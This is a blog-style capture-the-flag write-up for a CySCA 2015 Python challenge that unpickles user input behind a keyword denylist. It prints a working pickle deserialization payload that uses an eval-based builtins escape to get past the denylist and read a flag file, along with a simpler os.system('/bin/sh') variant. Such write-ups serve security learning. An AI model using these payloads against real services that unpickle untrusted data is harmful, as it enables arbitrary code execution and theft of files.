Tuesday 19 July 2016

CYSCA2015 Pickle challenge



In the lead up to Cysca 2016 I'm doing some of last year's challenges.

This is a writeup to https://github.com/CySCA/CySCA2015/blob/master/python_exploitation/files/mmmmm_pickles.py
It's pretty simple, the program will run 'pickle.loads(user_input)'
with some restrictions on what you can input.

denylist = ("system","exec","popen","print")

First of all I'd like to make it clear that I'm not a python guru, I just know enough to duct-tape bits together to get the job done

The solution is thus:


class RunBinSh(object):
  def __reduce__(self):
  return (eval, (("{}.__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('sys').stdout.write({}.__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').read({}.__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').open('./flag.txt', {}.__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').O_RDWR),10))"),))

d = pickle.dumps(RunBinSh())
print d # so I can copy and paste it
pickle.loads(d) # test that it works



I know that when pickle dumps a thing it runs the thing that you return in the function '__reduce__'
(as I said, I'm no expert on python)

so, with that gadget down pat, I'd really like to have something like

import os
class RunBinSh(object):
  def __reduce__(self):
  return (os.system, ("/bin/sh",))



but that aint going to go down with the 'denylist'
to get around this I run 'eval'
and I eval that giant long thing.

Is there a shorter way of doing this? yes definitely
Do I know how to do it? no
Do I need to know? Not for this challenge!

So, what's the giant eval thing?
Well I tried just using 'import os' but eval didn't like that, so I used a little trick (kinda from the previous challenge) to get the equivilent of 'import os' in eval

'{}.__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os')'

I googled around a bit to find that and had to tweak it a little to make it actually work. (chucked it in a for loop to find which value didn't make it crash. 59 was the winner)
Using that I can effectively do
sys.stdout.write(os.read(os.open('./flag.txt', os.O_RDWR), 10))

which will open the flag, read 10 characters and write it to stdout.
adjust to taste for real ctf environment and you're done